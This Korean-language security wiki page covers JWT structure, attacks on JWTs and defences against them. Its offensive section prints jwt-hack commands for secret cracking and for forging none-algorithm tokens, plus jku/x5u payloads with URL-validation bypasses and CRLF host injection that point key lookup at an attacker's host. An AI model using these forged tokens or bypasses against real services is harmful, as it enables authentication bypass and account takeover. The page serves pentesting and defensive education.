JWT (JSON Web Token) Security

JWT (JSON Web Token) Security

in

πŸ” Introduction

JWT(JSON Web Token)은 μ „μž μ„œλͺ…을 ν¬ν•¨ν•œ JSON ν˜•νƒœμ˜ ν‘œμ€€ ν¬λ§·μž…λ‹ˆλ‹€. RFC7519에 μ •μ˜λ˜μ–΄ 있으며 이λ₯Ό 톡해 μ„œλ²„, ν΄λΌμ΄μ–ΈνŠΈ λ“± μƒν˜Έκ°„μ˜ 톡신 μ‹œ μ‹œκ·Έλ‹ˆμ²˜λ₯Ό κ²€μ¦ν•˜μ—¬ μœ„λ³€μ‘° μ—¬λΆ€λ₯Ό 체크할 수 있고 expire 값을 톡해 만료 여뢀도 체크할 수 μžˆμŠ΅λ‹ˆλ‹€.

본래 인증 λͺ©μ μœΌλ‘œ κ΅¬μ„±λœ ν‘œμ€€μ€ μ•„λ‹ˆμ§€λ§Œ, SPA(Single Page Application)μ—μ„œ μ‰½κ²Œ 인증을 κ΅¬ν˜„ν•˜κΈ° μœ„ν•΄ JWTλ₯Ό μ„Έμ…˜ ν† ν°μ²˜λŸΌ μ‚¬μš©ν•˜λŠ” κ²½μš°λ„ λ§ŽμŠ΅λ‹ˆλ‹€.

JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties.

Struct of JWT

JWTλŠ” HEADER/PAYLOAD/SIGNATURE μ΄λ ‡κ²Œ 3κ°€μ§€μ˜ ν•„λ„λ‘œ λ‚˜λ‰˜μ–΄μ Έ μžˆμŠ΅λ‹ˆλ‹€. λͺ¨λ“  ν•„λ“œλŠ” JSON으둜 ν‘œν˜„λ˜λ©° μ΄λŸ¬ν•œ JSON ν•„λ“œλ“€μ„ 각각 Base64 μΈμ½”λ”©ν•œκ²Œ ν•˜μ—¬ ν•˜λ‚˜μ˜ κ°’μœΌλ‘œ ν•©μΉœ 것이 JWT μž…λ‹ˆλ‹€.

JWT = Base64(HEADER)+Base64(PAYLOAD)+Base64(SIGNATURE)

HEADER HEADERλŠ” JWT의 μ „λ°˜μ μΈ 정보λ₯Ό λ‹΄λŠ” ν•„λ“œμž…λ‹ˆλ‹€. 보톡 alg κ°’μœΌλ‘œ μ„œλͺ… μ•Œκ³ λ¦¬μ¦˜(e.g HS256)을 μ•Œ 수 μžˆμŠ΅λ‹ˆλ‹€.

List of Algorithms

  • None
  • hs256
  • hs384
  • hs512
  • rs256
  • rs384
  • rs512
  • es256
  • es384
  • es512
  • ps256
  • ps384
  • ps512

PAYLOAD PAYLOADλŠ” μ‚¬μš©μžκ°€ μΆ”κ°€ν•œ 데이터 μ˜μ—­μž…λ‹ˆλ‹€.

SIGNATURE JWT κ°’μ˜ 무결성을 μœ μ§€ν•˜κΈ° μœ„ν•΄ μ„œλͺ…λœ 값이 ν¬ν•¨λ˜λŠ” ν•„λ“œμž…λ‹ˆλ‹€. 일반적으둜 여기에 λ“€μ–΄κ°€λŠ” 값은 HEADERμ—μ„œ alg둜 μ„œλͺ… μ•Œκ³ λ¦¬μ¦˜μ„ λͺ…μ‹œν•΄μ£Όλ©°, 이 Signature 값을 톡해 JWTλ₯Ό μƒμ„±ν•œ 이후에 데이터에 λŒ€ν•œ λ³€μ‘°κ°€ μžˆμ—ˆλŠ”μ§€ μ•Œ 수 있게 λ©λ‹ˆλ‹€.

이 λ•Œ μ„œλͺ…은 HEADER + . + PAYLOAD 의 값을 기반으둜 μƒμ„±ν•©λ‹ˆλ‹€.

πŸ—‘ Offensive techniques

JWT λ‚΄ μ€‘μš”μ •λ³΄ 포함

JWTλŠ” Base64된 JSON κ°’μž…λ‹ˆλ‹€. κ³§ Base64λ₯Ό Decodeν•˜λ©΄ λˆ„κ΅¬λ‚˜ λ‚΄μš©μ„ λ³Ό 수 있기 λ•Œλ¬Έμ— JWT μ•ˆμ—λŠ” μ€‘μš”ν•œ 정보λ₯Ό ν‰λ¬ΈμœΌλ‘œ λ‹΄μ§€ μ•ŠλŠ”κ²Œ μ’‹μŠ΅λ‹ˆλ‹€.

JWT Token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.5m9zFPGPU0LMdTTLCR7jXMP8357nNAa0z8ABJJE3r3c

Decoded

{
  "sub": "1234567890",
  "name": "HAHWUL",
  "refresh_token":"abcd12345464",
  "iat": 1516239022
}

JWT Signature Secret Crack

JWTλŠ” 뢄문에 λŒ€ν•œ μœ„λ³€μ‘° λ°©μ§€λ₯Ό μœ„ν•œ μ„œλͺ…을 JWT 데이터에 ν¬ν•¨ν•˜μ—¬ μ „μ†‘ν•©λ‹ˆλ‹€. 이 μ„œλͺ…값은 μ •ν•΄μ§„ Secret κ°’μœΌλ‘œ 검증할 수 μžˆμ–΄ 데이터에 λŒ€ν•œ 무결성을 검증할 수 μžˆμŠ΅λ‹ˆλ‹€. λ‹€λ§Œ Secret이 λ…ΈμΆœλ˜κ±°λ‚˜ λ‹¨μˆœν•œ νŒ¨ν„΄μ„ μ‚¬μš©ν•˜λŠ” 경우 μ—¬λŸ¬κ°€μ§€ 도ꡬ듀을 μ΄μš©ν•΄μ„œ Crack을 μ‹œλ„ν•˜κ³  λ§Œμ•½ κ³΅κ²©μžκ°€ Crack을 톡해 Secret 값을 μ–»μ–΄λ‚Έλ‹€λ©΄ μž„μ˜λ‘œ JWT 토큰을 생성/μˆ˜μ •ν•  수 μžˆμ–΄ JWTλ₯Ό 기반으둜 ν•œ λΉ„μ¦ˆλ‹ˆμŠ€ λ‘œμ§μ— 크게 무결성을 ν•΄μΉ  수 μžˆμŠ΅λ‹ˆλ‹€.

jwt-hack crack -w {WORDLIST} {JWT_CODE}

https://github.com/hahwul/jwt-hack

{{< asciinema key=”412004” rows=”10” preload=”1” >}}

jwt κ΄€λ ¨ 도ꡬ듀은 λŒ€λ‹€μˆ˜κ°€ cracking κ΄€λ ¨ 도ꡬ이며, μ•„λž˜ tools λΆ€λΆ„ μ°Έκ³ ν•˜μ‹œκΈΈ λ°”λžλ‹ˆλ‹€.

None Algorithm attack

JWT의 λŒ€ν‘œμ μΈ 곡격 방법 쀑 ν•˜λ‚˜μΈ None Algorithmμž…λ‹ˆλ‹€. JWTλŠ” HEADER μ˜μ—­μ— alg 값을 톡해 μ•Œκ³ λ¦¬μ¦˜μ„ λͺ…μ‹œν•  수 μžˆλŠ”λ°, JWT 토큰 생성 μ‹œ alg 값을 None으둜 λͺ…μ‹œν–ˆκ±°λ‚˜, 일뢀 JWT λΌμ΄λΈŒλŸ¬λ¦¬λ“€μ€ alg 값에 none λ“± λΉ„ μ„œλͺ… 처리 μ‹œ μ„œλͺ…검증을 ν•˜μ§€ μ•Šκ³  λ„˜μ–΄κ°ˆ 수 μžˆλŠ” 취약성을 κ°€μ§€κ³  μžˆμŠ΅λ‹ˆλ‹€. 이λ₯Ό μ΄μš©ν•˜λ©΄ κ³΅κ²©μžκ°€ Secret 값을 λͺ°λΌλ„ 이λ₯Ό ν†΅ν•΄μ„œ JWTλ₯Ό μž„μ˜λ‘œ μƒμ„±ν•˜κ±°λ‚˜ μˆ˜μ •ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

jwt-hack payload eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.5m9zFPGPU0LMdTTLCR7jXMP8357nNAa0z8ABJJE3r3c

```INFO[0000] Generate none payload                         header="{\"alg\":\"none\",\"typ\":\"JWT\"}" payload=none
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
INFO[0000] Generate NonE payload                         header="{\"alg\":\"NonE\",\"typ\":\"JWT\"}" payload=NonE
eyJhbGciOiJOb25FIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
INFO[0000] Generate NONE payload                         header="{\"alg\":\"NONE\",\"typ\":\"JWT\"}" payload=NONE
eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
... μƒλž΅ ...

JKU and X5U

jku, x5uλŠ” JWS(Json Web Signature)μ—μ„œ μ‚¬μš©λ˜λŠ” νŒŒλΌλ―Έν„°λ‘œ ν‚€ 기반 μ„œλͺ…을 μœ„ν•œ μž¬λ£Œμž…λ‹ˆλ‹€. jku와 x5u ν•„λ“œλ₯Ό 톡해 ν‚€ 검증을 μœ„ν•œ μ„œλ²„λ₯Ό μ§€μ •ν•  수 있으며 이 값듀은 HEADER ν•„λ“œμ— λͺ…μ‹œν•©λ‹ˆλ‹€.

e.g

Base64({"jku": "https://...."})
Base64({"x5u": "https://...."})

jku와 x5u에 λͺ…μ‹œλœ 도메인은 이λ₯Ό μ„œλͺ… κ²€μ¦ν•˜λŠ” Applicationμ—μ„œ μ ‘κ·Όν•΄μ„œ 검증할 Trusted μ„œλ²„μ΄κΈ° 떄문에 λ§Œμ•½ 이 값이 λ³€μ‘°λ˜μ—ˆλ‹€λ©΄ μ„œλ²„λŠ” λ³€μ‘°λœ μ„œλ²„λ‘œ μ„œλͺ… 검증을 ν•˜λ €κ³  μš”μ²­ν•˜κ²Œ λ©λ‹ˆλ‹€.

이 λ•Œ jku와 x5u 도메인에 λŒ€ν•œ 검증이 과정이 μžˆμ„ κ°€λŠ₯성이 μ‘΄μž¬ν•˜μ§€λ§Œ, SSRF와 μœ μ‚¬ν•˜κ²Œ 도메인 검사 λ‘œμ§μ„ μš°νšŒν•˜λŠ” ν˜•νƒœλ‘œ 곡격 νŽ˜μ΄λ‘œλ“œ ꡬ성이 κ°€λŠ₯ν•©λ‹ˆλ‹€.

* https://trustedZattacker.com
* https://trusted@attacker.com
* https://trusted/jwks/../file_uploaded
* https://trusted/jwks/../open_redirect_page=attacker.com
* https://trusted/jwks/../header_injection

jwt-hackμ—μ„œλ„ 이λ₯Ό μœ„ν•œ payload κΈ°λŠ₯을 μ œκ³΅ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€.

jwt-hack payload eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.5m9zFPGPU0LMdTTLCR7jXMP8357nNAa0z8ABJJE3r3c --jwk-attack attack.hahwul.com --jwk-protocol https --jwk-trust trust.hahwul.com
... μƒλž΅ ...
INFO[0000] Generate jku + basic payload                  header="{\"alg\":\"hs256\",\"jku\":\"attack.hahwul.com\",\"typ\":\"JWT\"}" payload=jku
eyJhbGciOiJoczI1NiIsImprdSI6ImF0dGFjay5oYWh3dWwuY29tIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate jku host validation payload          header="{\"alg\":\"hs256\",\"jku\":\"https://trust.hahwul.comZattack.hahwul.com\",\"typ\":\"JWT\"}" payload=jku
eyJhbGciOiJoczI1NiIsImprdSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbVphdHRhY2suaGFod3VsLmNvbSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate jku host validation payload          header="{\"alg\":\"hs256\",\"jku\":\"https://trust.hahwul.com@attack.hahwul.com\",\"typ\":\"JWT\"}" payload=jku
eyJhbGciOiJoczI1NiIsImprdSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbUBhdHRhY2suaGFod3VsLmNvbSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate jku host header injection (w/CRLF) payload  header="{\"alg\":\"hs256\",\"jku\":\"https://trust.hahwul.com%0d0aHost: attack.hahwul.com\",\"typ\":\"JWT\"}" payload=jku
eyJhbGciOiJoczI1NiIsImprdSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbSUwZDBhSG9zdDogYXR0YWNrLmhhaHd1bC5jb20iLCJ0eXAiOiJKV1QifQ==.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate x5u + basic payload                  header="{\"alg\":\"hs256\",\"x5u\":\"attack.hahwul.com\",\"typ\":\"JWT\"}" payload=x5u
eyJhbGciOiJoczI1NiIsIng1dSI6ImF0dGFjay5oYWh3dWwuY29tIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate x5u host validation payload          header="{\"alg\":\"hs256\",\"x5u\":\"https://trust.hahwul.comZattack.hahwul.com\",\"typ\":\"JWT\"}" payload=x5u
eyJhbGciOiJoczI1NiIsIng1dSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbVphdHRhY2suaGFod3VsLmNvbSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate x5u host validation payload          header="{\"alg\":\"hs256\",\"x5u\":\"https://trust.hahwul.com@attack.hahwul.com\",\"typ\":\"JWT\"}" payload=x5u
eyJhbGciOiJoczI1NiIsIng1dSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbUBhdHRhY2suaGFod3VsLmNvbSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate x5u host header injection (w/CRLF) payload  header="{\"alg\":\"hs256\",\"x5u\":\"https://trust.hahwul.com%0d0aHost: attack.hahwul.com\",\"typ\":\"JWT\"}" payload=x5u
eyJhbGciOiJoczI1NiIsIng1dSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbSUwZDBhSG9zdDogYXR0YWNrLmhhaHd1bC5jb20iLCJ0eXAiOiJKV1QifQ==.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

πŸ›‘ Defensive techniques

짧은 λ§Œλ£Œμ‹œκ°„

JWT μžμ²΄κ°€ 토큰 내뢀에 만료 μ‹œκ°„μ„ μ €μž₯ν•˜κ³  μ„œλ²„κ°€ 만료 μ—¬λΆ€λ§Œ μ²΄ν¬ν•˜κΈ° λ•Œλ¬Έμ— λͺ…μ‹œμ  λ‘œκ·Έμ•„μ›ƒμ΄λ‚˜ λΈŒλΌμš°μ§• μ’…λ£Œμ— λŒ€ν•΄μ„œ μ„œλ²„κ°€ 식별할 수 μ—†μŠ΅λ‹ˆλ‹€. κ·Έλž˜μ„œ μ€‘μš”ν•œ μ„œλΉ„μŠ€μΈ 경우 JWT 자체의 만료 μ‹œκ°„μ„ 짧게 κ°€μ Έκ°€μ„œ ν˜Ήμ‹œλΌλ„ λ‹€λ₯Έ μ·¨μ•½μ μœΌλ‘œ 인해 토큰이 λ…ΈμΆœλ˜μ–΄λ„ 좔가적인 곡격으둜 이루어지기 어렡도둝 ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

None Algorithm

JWT의 Signature에 μ‚¬μš©λ˜λŠ” μ•Œκ³ λ¦¬μ¦˜μ€ νŠΉμ •ν•œ μ•Œκ³ λ¦¬μ¦˜(에λ₯Όλ“€λ©΄ HS256)이 μ§€μ •λ˜μ–΄μ•Ό ν•©λ‹ˆλ‹€. λ§Œμ•½ none μƒνƒœλ‘œ μ‚¬μš©λœλ‹€λ©΄ μ‰½κ²Œ ν¬λž™ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

Signature Secret의 λ³΅μž‘λ„

JWTλŠ” λ‚΄λΆ€ κ°’κ³Ό μœ νš¨κΈ°κ°„λ“±μ΄ ν¬ν•¨λœ 데이터에 λŒ€ν•œ μ„œλͺ…을 ν¬ν•¨ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€. μ΄λŠ” μ„œλ²„μ—μ„œ λ°œκΈ‰ μ‹œ μ§€μ •ν•œ μ•Œκ³ λ¦¬μ¦˜μ— λ”°λΌμ„œ μ„œλͺ… ν›„ JWT 토큰에 ν¬ν•¨λ˜λ©° μ„œλ²„μ—μ„œ μœ νš¨κΈ°κ°„κ³Ό ν•¨κ»˜ μ„œλͺ…μ˜ 정상 μ—¬λΆ€λ₯Ό κ²€μ¦ν•˜κ²Œ λ©λ‹ˆλ‹€.

보톡 Secret을 μ§€μ •ν•˜μ§€ μ•Šκ³  μ„œλͺ…ν•˜λŠ” 경우, Secret에 λŒ€ν•œ ν¬λž™ μ •λ„μ˜ λ¦¬μŠ€ν¬κ°€ μžˆμŠ΅λ‹ˆλ‹€. μ œκ°€ μ˜ˆμ „μ— JWT ν…ŒμŠ€νŒ…μ„ μœ„ν•΄μ„œ jwt-hack을 λ§Œλ“€κ³  μ—¬λŸ¬λ²ˆ ν…ŒμŠ€νŠΈ ν–ˆμ„λ•Œλ„ JWT μžμ²΄κ°€ λ„€νŠΈμ›Œν¬ νŠΈλž˜ν”½μ΄ λ°œμƒν•˜μ§€ μ•Šκ³ λ„ Signature와 Secret의 λ§€ν•‘ μ—¬λΆ€λ₯Ό 체크할 수 μžˆλŠ”μ§€λΌ λ§Žμ€ 수의 workdlistλ₯Ό λΉ λ₯΄κ²Œ crack ν•΄λ³Ό 수 μžˆμ—ˆλ˜ 것 κ°™μŠ΅λ‹ˆλ‹€.

μ•„λ¬΄νŠΌ ν•œλ²ˆ κΉ¨μ§„ secret은 μ„œλΉ„μŠ€ μ „μ²΄μ˜ JWT 토큰듀에 영ν–₯을 끼칠 수 있기 떄문에 ꡉμž₯히 잘 κ΄€λ¦¬λ˜μ–΄μ•Ό ν•©λ‹ˆλ‹€.

내뢀에 μ€‘μš”μ •λ³΄λ₯Ό μ €μž₯ν•˜μ§€ μ•ŠμŒ

JWTλŠ” Base64둜 μΈμ½”λ”©λœ JSON ν˜•νƒœμ˜ κ°’μž…λ‹ˆλ‹€. Base64κΈ° 떄문에 μ‰½κ²Œ λ””μ½”λ”©ν•΄μ„œ λ³Ό 수 있고 λ‹Ήμ—°νžˆ μ€‘μš”ν•œ μ •λ³΄λŠ” JWT에 λ‹΄μ§€ μ•ŠλŠ” 것이 μ›μΉ™μž…λ‹ˆλ‹€.

Sliding sessions

μŠ¬λΌμ΄λ”© μ„Έμ…˜μ€ μ΄λŸ¬ν•œ Stateless μ„œλΉ„μŠ€μ—μ„œμ˜ λ³΄μ•ˆμ„±μ„ μœ„ν•΄ λ²„λ €μ§€λŠ” νŽΈμ˜μ„±μ„ 작기 μœ„ν•œ μ„Έμ…˜ μ „λž΅μž…λ‹ˆλ‹€. μ„œλΉ„μŠ€λ₯Ό 계속 μ‚¬μš©ν•˜λŠ” μœ μ €μ—κ²ŒλŠ” 만료되기 전에 μžλ™μœΌλ‘œ 만료 κΈ°ν•œμ„ μ—°μž₯μ‹œμΌœμ£ΌλŠ” λ°©λ²•μž…λ‹ˆλ‹€. μ‚¬μš©μžκ°€ μ›Ή νŽ˜μ΄μ§€μ—μ„œ ν™œλ™ν•˜λŠ”κ±΄ JSλ‹¨μ—μ„œ μ‰½κ²Œ 이벀트 ν•Έλ“€λŸ¬λ‘œ 감지할 수 있기 λ•Œλ¬Έμ— μ΄λŸ¬ν•œ μ½”λ“œλ“€μ„ 톡해 μ‚¬μš©μžμ˜ ν˜„μž¬ μ•‘μ…˜ μ—¬λΆ€λ₯Ό μ§€μ†μ μœΌλ‘œ μ²΄ν¬ν•˜κ³  ν™œλ™ 쀑이라고 νŒλ‹¨λ˜λ©΄ μ„Έμ…˜μ΄ 만료 μ‹œκ°„μ΄ 되기 전에 λ§Œλ£Œμ‹œκ°„μ„ κ°±μ‹ ν•œ 토큰을 λ‹€μ‹œ λ°›μ•„μ˜€λŠ” ν˜•νƒœλ‘œ 만료 μ‹œκ°„μ„ μ—°μž₯ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

e.g

function updateJWT(){
  // JWTλ₯Ό κ°±μ‹ ν•˜λŠ” ν•¨μˆ˜λ₯Ό ν•˜λ‚˜ λ§Œλ“€κ³ ...
  // λ¬Όλ‘  μ΄λŠ” μ„œλ²„λ‘œ μš”μ²­ν•΄μ„œ 받아와야겠죠.
  // 단 λ„ˆλ¬΄ μž¦μ€ μš”μ²­μ΄ λΆ€λ‹΄μŠ€λŸ½λ‹€λ©΄ ν˜„μž¬ JWT의 μœ νš¨μ‹œκ°„μ„ 보고 갱신해도 λ©λ‹ˆλ‹€.
  // 예λ₯Όλ“€λ©΄.. λ§ŒκΈ°κ°€ λ‹€μ™€κ°ˆ λ•Œ
}

// window 전체에 onmouseenterλ₯Ό κ±Έμ–΄μ„œ updateJWTκ°€ ν˜ΈμΆœλ˜λ„λ‘ ν•©λ‹ˆλ‹€.
// 그러면 μ‚¬μš©μžκ°€ 마우슀 μ•‘μ…˜μ΄ μžˆμ„ λ•Œ JWTλ₯Ό μžλ™μœΌλ‘œ κ°±μ‹  μ‹œμΌœμ€„ 수 μžˆμŠ΅λ‹ˆλ‹€.
// λΉ„μŠ·ν•˜κ²Œ ν‚€λ³΄λ“œλ„ μžˆκ² λ„€μš”.
window.addEventListener("mouseenter", updateJWT, false);

πŸ•Ή Tools

  • https://github.com/hahwul/jwt-hack
  • https://github.com/brendan-rius/c-jwt-cracker
  • https://github.com/lmammino/jwt-cracker
  • https://github.com/hashcat/hashcat/

πŸ“š Articles

  • https://www.hahwul.com/2021/05/05/sliding-sessions/
  • https://www.hahwul.com/2019/10/11/jwt-cracker-secret-key-crack/
  • https://www.hahwul.com/2016/01/20/web-hacking-jwtjson-web-token-jwt-test/

πŸ“Œ References

  • https://jwt.io
  • https://tools.ietf.org/html/rfc7519 (JWT)
  • https://tools.ietf.org/html/rfc7515 (JWS)
  • https://www.slideshare.net/snyff/jwt-jku-x5u